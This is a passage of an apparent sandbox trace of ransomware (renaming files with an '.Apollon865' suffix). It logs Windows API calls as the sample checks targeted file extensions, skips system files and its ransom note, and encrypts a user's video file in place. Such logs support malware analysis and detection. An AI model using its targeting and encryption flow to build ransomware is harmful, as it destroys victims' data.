	[0086.586] lstrlenW (lpString="hdb") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.586] lstrlenW (lpString="his") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.586] lstrlenW (lpString="ib") returned 2
	[0086.586] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.586] lstrlenW (lpString="idb") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.586] lstrlenW (lpString="ihx") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.586] lstrlenW (lpString="itdb") returned 4
	[0086.586] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.586] lstrlenW (lpString="itw") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.586] lstrlenW (lpString="jet") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.586] lstrlenW (lpString="jtx") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.586] lstrlenW (lpString="kdb") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.586] lstrlenW (lpString="kexi") returned 4
	[0086.586] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.586] lstrlenW (lpString="kexic") returned 5
	[0086.586] lstrcmpiW (lpString1="u.avi", lpString2="kexic") returned 1
	[0086.586] lstrlenW (lpString="kexis") returned 5
	[0086.586] lstrcmpiW (lpString1="u.avi", lpString2="kexis") returned 1
	[0086.586] lstrlenW (lpString="lgc") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.586] lstrlenW (lpString="lwx") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.586] lstrlenW (lpString="maf") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.586] lstrlenW (lpString="maq") returned 3
	[0086.586] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.586] lstrlenW (lpString="mar") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.587] lstrlenW (lpString="marshal") returned 7
	[0086.587] lstrcmpiW (lpString1="TEu.avi", lpString2="marshal") returned 1
	[0086.587] lstrlenW (lpString="mas") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.587] lstrlenW (lpString="mav") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.587] lstrlenW (lpString="maw") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.587] lstrlenW (lpString="mdbhtml") returned 7
	[0086.587] lstrcmpiW (lpString1="TEu.avi", lpString2="mdbhtml") returned 1
	[0086.587] lstrlenW (lpString="mdn") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.587] lstrlenW (lpString="mdt") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.587] lstrlenW (lpString="mfd") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.587] lstrlenW (lpString="mpd") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.587] lstrlenW (lpString="mrg") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.587] lstrlenW (lpString="mud") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.587] lstrlenW (lpString="mwb") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.587] lstrlenW (lpString="myd") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.587] lstrlenW (lpString="ndf") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.587] lstrlenW (lpString="nnt") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.587] lstrlenW (lpString="nrmlib") returned 6
	[0086.587] lstrcmpiW (lpString1="Eu.avi", lpString2="nrmlib") returned -1
	[0086.587] lstrlenW (lpString="ns2") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.587] lstrlenW (lpString="ns3") returned 3
	[0086.587] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.588] lstrlenW (lpString="ns4") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.588] lstrlenW (lpString="nsf") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.588] lstrlenW (lpString="nv") returned 2
	[0086.588] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.588] lstrlenW (lpString="nv2") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.588] lstrlenW (lpString="nwdb") returned 4
	[0086.588] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.588] lstrlenW (lpString="nyf") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.588] lstrlenW (lpString="odb") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.588] lstrlenW (lpString="odb") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.588] lstrlenW (lpString="oqy") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.588] lstrlenW (lpString="ora") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.588] lstrlenW (lpString="orx") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.588] lstrlenW (lpString="owc") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.588] lstrlenW (lpString="p96") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.588] lstrlenW (lpString="p97") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.588] lstrlenW (lpString="pan") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.588] lstrlenW (lpString="pdb") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.588] lstrlenW (lpString="pdm") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.588] lstrlenW (lpString="pnz") returned 3
	[0086.588] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.588] lstrlenW (lpString="qry") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.589] lstrlenW (lpString="qvd") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.589] lstrlenW (lpString="rbf") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.589] lstrlenW (lpString="rctd") returned 4
	[0086.589] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.589] lstrlenW (lpString="rod") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.589] lstrlenW (lpString="rodx") returned 4
	[0086.589] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.589] lstrlenW (lpString="rpd") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.589] lstrlenW (lpString="rsd") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.589] lstrlenW (lpString="sas7bdat") returned 8
	[0086.589] lstrcmpiW (lpString1="-TEu.avi", lpString2="sas7bdat") returned 1
	[0086.589] lstrlenW (lpString="sbf") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.589] lstrlenW (lpString="scx") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.589] lstrlenW (lpString="sdb") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.589] lstrlenW (lpString="sdc") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.589] lstrlenW (lpString="sdf") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.589] lstrlenW (lpString="sis") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.589] lstrlenW (lpString="spq") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.589] lstrlenW (lpString="te") returned 2
	[0086.589] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.589] lstrlenW (lpString="teacher") returned 7
	[0086.589] lstrcmpiW (lpString1="TEu.avi", lpString2="teacher") returned 1
	[0086.589] lstrlenW (lpString="tmd") returned 3
	[0086.589] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.590] lstrlenW (lpString="tps") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.590] lstrlenW (lpString="trc") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.590] lstrlenW (lpString="trc") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.590] lstrlenW (lpString="trm") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.590] lstrlenW (lpString="udb") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.590] lstrlenW (lpString="udl") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.590] lstrlenW (lpString="usr") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.590] lstrlenW (lpString="v12") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.590] lstrlenW (lpString="vis") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.590] lstrlenW (lpString="vpd") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.590] lstrlenW (lpString="vvv") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.590] lstrlenW (lpString="wdb") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.590] lstrlenW (lpString="wmdb") returned 4
	[0086.590] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.590] lstrlenW (lpString="wrk") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.590] lstrlenW (lpString="xdb") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.590] lstrlenW (lpString="xld") returned 3
	[0086.590] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.590] lstrlenW (lpString="xmlff") returned 5
	[0086.590] lstrcmpiW (lpString1="u.avi", lpString2="xmlff") returned -1
	[0086.590] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\xq1LW83F-TEu.avi.Apollon865") returned 96
	[0086.590] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\xq1LW83F-TEu.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\xq1lw83f-teu.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\xq1LW83F-TEu.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\xq1lw83f-teu.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\xq1LW83F-TEu.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\xq1lw83f-teu.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.592] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=96653) returned 1
	[0086.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.592] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.593] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.593] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.593] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c90, lpName=0x0) returned 0x15c
	[0086.593] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c90) returned 0x120000
	[0086.598] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.599] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.599] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.599] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.600] CloseHandle (hObject=0x15c) returned 1
	[0086.600] CloseHandle (hObject=0x9c) returned 1
	[0086.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.601] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fa920c0, ftCreationTime.dwHighDateTime=0x1d4d59a, ftLastAccessTime.dwLowDateTime=0x83f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c90b, ftLastWriteTime.dwLowDateTime=0x83f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c90b, nFileSizeHigh=0x0, nFileSizeLow=0xad24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZgU-0Y lRy sna9isfQ.mp4", cAlternateFileName="ZGU-0Y~1.MP4")) returned 1
	[0086.601] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="Apollon865.txt.exe") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="..") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="windows") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="bootmgr") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="temp") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="pagefile.sys") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="boot") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="ids.txt") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="ntuser.dat") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="perflogs") returned 1
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2="MSBuild") returned 1
	[0086.602] lstrlenW (lpString="ZgU-0Y lRy sna9isfQ.mp4") returned 23
	[0086.602] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\xq1LW83F-TEu.avi") returned 85
	[0086.602] lstrcpyW (in: lpString1=0x119e692, lpString2="ZgU-0Y lRy sna9isfQ.mp4" | out: lpString1="ZgU-0Y lRy sna9isfQ.mp4") returned="ZgU-0Y lRy sna9isfQ.mp4"
	[0086.602] lstrlenW (lpString="ZgU-0Y lRy sna9isfQ.mp4") returned 23
	[0086.602] lstrlenW (lpString="Apollon865") returned 10
	[0086.602] lstrcmpiW (lpString1="a9isfQ.mp4", lpString2="Apollon865") returned -1
	[0086.602] lstrlenW (lpString=".dll") returned 4
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".dll") returned 1
	[0086.602] lstrlenW (lpString=".lnk") returned 4
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".lnk") returned 1
	[0086.602] lstrlenW (lpString=".ini") returned 4
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".ini") returned 1
	[0086.602] lstrlenW (lpString=".sys") returned 4
	[0086.602] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".sys") returned 1
	[0086.602] lstrlenW (lpString="ZgU-0Y lRy sna9isfQ.mp4") returned 23
	[0086.602] lstrlenW (lpString="bak") returned 3
	[0086.602] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1
	[0086.602] lstrlenW (lpString="ba_") returned 3
	[0086.602] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1
	[0086.602] lstrlenW (lpString="dbb") returned 3
	[0086.602] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1
	[0086.602] lstrlenW (lpString="vmdk") returned 4
	[0086.602] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1
	[0086.602] lstrlenW (lpString="rar") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1
	[0086.603] lstrlenW (lpString="zip") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1
	[0086.603] lstrlenW (lpString="tgz") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1
	[0086.603] lstrlenW (lpString="vbox") returned 4
	[0086.603] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1
	[0086.603] lstrlenW (lpString="vdi") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1
	[0086.603] lstrlenW (lpString="vhd") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1
	[0086.603] lstrlenW (lpString="vhdx") returned 4
	[0086.603] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1
	[0086.603] lstrlenW (lpString="avhd") returned 4
	[0086.603] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1
	[0086.603] lstrlenW (lpString="db") returned 2
	[0086.603] lstrcmpiW (lpString1="p4", lpString2="db") returned 1
	[0086.603] lstrlenW (lpString="db2") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1
	[0086.603] lstrlenW (lpString="db3") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1
	[0086.603] lstrlenW (lpString="dbf") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1
	[0086.603] lstrlenW (lpString="mdf") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1
	[0086.603] lstrlenW (lpString="mdb") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1
	[0086.603] lstrlenW (lpString="sql") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1
	[0086.603] lstrlenW (lpString="sqlite") returned 6
	[0086.603] lstrcmpiW (lpString1="fQ.mp4", lpString2="sqlite") returned -1
	[0086.603] lstrlenW (lpString="sqlite3") returned 7
	[0086.603] lstrcmpiW (lpString1="sfQ.mp4", lpString2="sqlite3") returned -1
	[0086.603] lstrlenW (lpString="sqlitedb") returned 8
	[0086.603] lstrcmpiW (lpString1="isfQ.mp4", lpString2="sqlitedb") returned -1
	[0086.603] lstrlenW (lpString="xml") returned 3
	[0086.603] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1
	[0086.604] lstrlenW (lpString="$er") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1
	[0086.604] lstrlenW (lpString="4dd") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1
	[0086.604] lstrlenW (lpString="4dl") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1
	[0086.604] lstrlenW (lpString="^^^") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1
	[0086.604] lstrlenW (lpString="abs") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1
	[0086.604] lstrlenW (lpString="abx") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1
	[0086.604] lstrlenW (lpString="accdb") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accdb") returned 1
	[0086.604] lstrlenW (lpString="accdc") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accdc") returned 1
	[0086.604] lstrlenW (lpString="accde") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accde") returned 1
	[0086.604] lstrlenW (lpString="accdr") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accdr") returned 1
	[0086.604] lstrlenW (lpString="accdt") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accdt") returned 1
	[0086.604] lstrlenW (lpString="accdw") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accdw") returned 1
	[0086.604] lstrlenW (lpString="accft") returned 5
	[0086.604] lstrcmpiW (lpString1="Q.mp4", lpString2="accft") returned 1
	[0086.604] lstrlenW (lpString="adb") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.604] lstrlenW (lpString="adb") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.604] lstrlenW (lpString="ade") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1
	[0086.604] lstrlenW (lpString="adf") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1
	[0086.604] lstrlenW (lpString="adn") returned 3
	[0086.604] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1
	[0086.604] lstrlenW (lpString="adp") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1
	[0086.605] lstrlenW (lpString="alf") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1
	[0086.605] lstrlenW (lpString="ask") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1
	[0086.605] lstrlenW (lpString="btr") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1
	[0086.605] lstrlenW (lpString="cat") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1
	[0086.605] lstrlenW (lpString="cdb") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1
	[0086.605] lstrlenW (lpString="ckp") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1
	[0086.605] lstrlenW (lpString="cma") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1
	[0086.605] lstrlenW (lpString="cpd") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1
	[0086.605] lstrlenW (lpString="dacpac") returned 6
	[0086.605] lstrcmpiW (lpString1="fQ.mp4", lpString2="dacpac") returned 1
	[0086.605] lstrlenW (lpString="dad") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1
	[0086.605] lstrlenW (lpString="dadiagrams") returned 10
	[0086.605] lstrcmpiW (lpString1="a9isfQ.mp4", lpString2="dadiagrams") returned -1
	[0086.605] lstrlenW (lpString="daschema") returned 8
	[0086.605] lstrcmpiW (lpString1="isfQ.mp4", lpString2="daschema") returned 1
	[0086.605] lstrlenW (lpString="db-journal") returned 10
	[0086.605] lstrcmpiW (lpString1="a9isfQ.mp4", lpString2="db-journal") returned -1
	[0086.605] lstrlenW (lpString="db-shm") returned 6
	[0086.605] lstrcmpiW (lpString1="fQ.mp4", lpString2="db-shm") returned 1
	[0086.605] lstrlenW (lpString="db-wal") returned 6
	[0086.605] lstrcmpiW (lpString1="fQ.mp4", lpString2="db-wal") returned 1
	[0086.605] lstrlenW (lpString="dbc") returned 3
	[0086.605] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1
	[0086.605] lstrlenW (lpString="dbs") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1
	[0086.606] lstrlenW (lpString="dbt") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1
	[0086.606] lstrlenW (lpString="dbv") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1
	[0086.606] lstrlenW (lpString="dbx") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1
	[0086.606] lstrlenW (lpString="dcb") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1
	[0086.606] lstrlenW (lpString="dct") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1
	[0086.606] lstrlenW (lpString="dcx") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1
	[0086.606] lstrlenW (lpString="ddl") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1
	[0086.606] lstrlenW (lpString="dlis") returned 4
	[0086.606] lstrcmpiW (lpString1=".mp4", lpString2="dlis") returned -1
	[0086.606] lstrlenW (lpString="dp1") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dp1") returned 1
	[0086.606] lstrlenW (lpString="dqy") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dqy") returned 1
	[0086.606] lstrlenW (lpString="dsk") returned 3
	[0086.606] lstrcmpiW (lpString1="mp4", lpString2="dsk") returned 1
	[0086.606] lstrlenW (lpString="dsn") returned 3
